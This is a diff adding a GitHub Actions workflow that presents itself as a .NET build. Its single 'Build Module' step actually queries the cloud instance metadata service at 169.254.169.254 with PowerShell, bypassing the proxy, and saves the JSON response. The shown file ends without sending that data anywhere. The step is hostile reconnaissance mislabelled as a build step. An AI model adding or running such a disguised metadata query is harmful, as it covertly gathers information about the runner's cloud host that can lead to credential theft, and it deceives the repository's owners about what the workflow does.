diff --git a/.github/workflows/sample.yml b/.github/workflows/sample.yml new file mode 100644 index 0000000..a2d3ad1 --- /dev/null +++ b/.github/workflows/sample.yml @@ -0,0 +1,17 @@ +# This workflow will build a .NET project +# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-net + +name: .NET + +on: [workflow_dispatch] +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - name: Build Module + shell: pwsh + run: | + $out = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 +